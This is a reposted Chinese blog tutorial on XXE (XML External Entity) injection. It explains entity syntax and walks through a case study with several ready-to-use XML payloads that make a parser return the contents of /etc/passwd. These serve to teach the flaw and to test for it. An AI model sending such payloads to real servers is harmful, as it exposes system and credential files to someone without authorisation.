码迷,mamicode.com
首页 > 其他好文 > 详细

XXE (XML External Entity Injection) 外部实体注入漏洞案例分析

时间:2017-09-26 21:04:27      阅读:281      评论:0      收藏:0      [点我收藏+]

标签:off   tap   epc   atl   map   col   dir   wfs   iam   

ENTITY 实体 
在一个甚至多个XML文档中频繁使用某一条数据,我们可以预先定义一个这条数据的“别名”,即一个ENTITY,然后在这些文档中需要该数据的地方调用它。 
XML定义了两种类型的ENTITY,一种在XML文档中使用,另一种作为参数在DTD文件中使用。 
ENTITY的定义语法:

<!DOCTYPE 文件名 [ <!ENTITY 实体名 "实体内容"> ]>

 

xml entity 可以读取外置文件,其实entity作用相当于定义全局变量和引用外部文件

<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///xxxx" >]>引用外部文件

<!DOCTYPE netspi [<!ENTITY xxe "hello" >]> 全局变量

在一般的异步网站都会有异步数据与服务器的交互,一般传送数据为json但如果将传送的数据格式改为xml。有很大的可能服务器会解析你异步上传的xml脚本执行想要干的事

 

<!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>

 

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<search>type sth!</search>
<value>&xxe;</value>
</root>

技术分享

网址地址:

技术分享

抓包数据如下:

技术分享

技术分享

构造xml注入脚本

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Agoly [ <!ELEMENT Agoly ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><Agoly>&xxe;</Agoly>

技术分享

技术分享

脚本2:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Agoly [ <!ELEMENT Agoly ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<search>type sth!</search>
<value>&xxe;</value>
</root>

技术分享

 

http://www.cnblogs.com/vincebye/p/7199290.html

XXE (XML External Entity Injection) 外部实体注入漏洞案例分析

标签:off   tap   epc   atl   map   col   dir   wfs   iam   

原文地址:http://www.cnblogs.com/qmfsun/p/7598359.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!